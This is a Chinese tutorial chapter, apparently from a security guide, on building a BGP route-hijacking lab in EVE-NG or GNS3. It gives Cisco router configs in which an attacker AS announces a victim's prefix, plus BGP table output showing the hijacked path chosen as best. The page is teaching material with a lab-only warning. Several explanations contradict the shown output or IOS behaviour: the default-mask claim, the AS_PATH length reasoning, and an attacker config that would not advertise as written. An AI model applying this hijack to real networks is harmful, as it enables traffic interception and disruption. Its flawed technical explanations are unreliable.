3、攻击场景模拟:用GNS3/EVE-NG搭建实验环境

好,咱们直接进入正题。上一章讲了BGP路由欺骗的原理,说白了就是攻击者伪造一个更优的路径,把流量骗到自己手里。但光说不练假把式,这一章我们就亲手搭一个攻击场景。

我个人习惯用EVE-NG来做这类实验,因为它的设备镜像支持更全,拓扑也灵活。但如果你手头只有GNS3,也没问题,核心逻辑是一样的。我当年第一次做这个实验时,用的是GNS3,折腾了一整天才把环境跑通——嗯,踩了不少坑,后面我会把避坑的点都告诉你。

3.1 实验拓扑设计

先画个图,让你对整个网络有个直观印象。这个拓扑很简单,但足够演示攻击过程。

BGP路由欺骗攻击实验拓扑 互联网 (AS 100) 受害者路由器 R1 AS 200 | 10.0.1.1/24 攻击者路由器 R2 AS 300 | 10.0.2.1/24 内部服务器 S1 192.168.1.10/24 攻击控制主机 192.168.2.10/24 内部链路 内部链路 ← 伪造BGP路由更新 → 受害者设备 攻击者设备

这个拓扑里,R1是受害者,属于AS 200,它通过互联网(AS 100)对外发布自己的路由。R2是攻击者,属于AS 300,它要做的就是伪造一个更优的BGP路由,让互联网上的流量都往它那边跑。

3.2 在EVE-NG中搭建基础环境

我个人推荐用EVE-NG,因为它的设备模板多,而且支持批量导入配置。如果你用GNS3,步骤也差不多,就是镜像导入方式不同而已。

具体步骤如下:

  1. 创建项目:在EVE-NG中新建一个项目,命名为"bgp_attack_lab"。
  2. 添加路由器:拖入3台路由器。我习惯用Cisco IOSv或vIOS,因为它们对BGP的支持最完整。
  3. 添加云节点:拖入一个"Internet"云节点,模拟AS 100。
  4. 连接链路:按拓扑图连接各设备接口。
  5. 启动设备:全部启动后,通过Console口登录配置。
💡 我的经验: 如果你用EVE-NG,记得在导入镜像前先检查CPU虚拟化是否开启。我曾经因为BIOS里没开VT-x,结果设备启动后一直卡在"Loading IOS...",折腾了半小时才发现问题。

3.3 配置受害者路由器 R1

R1是正常的企业边界路由器,它需要做两件事:一是跟互联网建立BGP邻居,二是把内部路由发布出去。

配置如下:

! 进入全局配置模式
conf t

! 配置接口IP
interface GigabitEthernet0/0
 ip address 10.0.1.1 255.255.255.0
 no shutdown

interface GigabitEthernet0/1
 ip address 192.168.1.1 255.255.255.0
 no shutdown

! 配置BGP
router bgp 200
 bgp router-id 10.0.1.1
 neighbor 10.0.1.254 remote-as 100  ! 对端是互联网路由器
 network 192.168.1.0 mask 255.255.255.0  ! 发布内部网段
!

这里有个细节:network命令后面必须跟精确的掩码,否则BGP不会发布这条路由。我见过有人写成network 192.168.1.0,结果路由死活不生效——因为默认掩码是/8,跟实际配置不匹配。

3.4 配置攻击者路由器 R2

R2是攻击者,它的配置要"坏"一点。正常BGP邻居还是要建的,但关键在路由发布上——它会伪造一条指向受害者内部网段的路由,并且把AS_PATH改短,让这条路由看起来更优。

! 进入全局配置模式
conf t

! 配置接口IP
interface GigabitEthernet0/0
 ip address 10.0.2.1 255.255.255.0
 no shutdown

interface GigabitEthernet0/1
 ip address 192.168.2.1 255.255.255.0
 no shutdown

! 配置BGP
router bgp 300
 bgp router-id 10.0.2.1
 neighbor 10.0.2.254 remote-as 100  ! 对端是互联网路由器

! 伪造路由:声明自己拥有192.168.1.0/24
! 注意:这里没有经过AS 200,AS_PATH更短
 network 192.168.1.0 mask 255.255.255.0

! 可选:手动修改AS_PATH,让它看起来更可信
! 但这里我们直接用network命令,效果已经足够
!
⚠️ 重要提醒: 这个配置仅供实验环境使用。在实际网络中,这样做是违法的,而且会破坏网络稳定性。我曾经在客户现场抓到过类似的路由劫持行为,最后对方被追究了法律责任。

3.5 验证攻击效果

配置完成后,我们来看看攻击是否成功。在互联网路由器(AS 100)上查看BGP路由表:

show ip bgp 192.168.1.0

BGP routing table entry for 192.168.1.0/24
Paths: (2 available, best #2)
  Path #1: 200
    10.0.1.1 from 10.0.1.1 (10.0.1.1)
      Origin IGP, metric 0, localpref 100, valid, external
  Path #2: 300
    10.0.2.1 from 10.0.2.1 (10.0.2.1)
      Origin IGP, metric 0, localpref 100, valid, external, best
!

看到了吗?Path #2(来自攻击者R2)被选为最优路径。为什么?因为它的AS_PATH长度是1(只有AS 300),而Path #1的AS_PATH长度是2(AS 200 + AS 100)。BGP选路规则里,AS_PATH越短越优先。

这时候,所有发往192.168.1.0/24的流量都会先经过攻击者R2。攻击者可以截获、篡改甚至直接丢弃这些数据包。

3.6 避坑指南

这个实验我做过很多次,有几个坑你一定要注意:

  • 设备镜像版本:Cisco IOSv 15.x以上版本对BGP的支持最好。太老的版本可能不支持某些特性。
  • 接口状态:配置完接口后,记得用show ip interface brief确认接口是up/up状态。我曾经因为忘记no shutdown,排查了半天。
  • BGP邻居状态:用show ip bgp summary查看邻居是否建立。如果状态是Idle或Active,说明TCP连接有问题,检查IP连通性和ACL。
  • 路由过滤:在实际网络中,运营商通常会配置路由过滤,防止客户发布不属于自己的IP段。但在实验环境里,我们关掉了这些保护,所以攻击才能成功。
💡 我的建议: 实验做完后,记得用clear ip bgp *重置BGP会话,或者直接关闭实验拓扑。不要让它一直运行,免得被其他人利用。

好了,这一章的内容就到这里。你按照上面的步骤操作,应该能在半小时内把攻击场景搭起来。如果遇到问题,回头看看避坑指南,大部分问题都能解决。


专注资料整理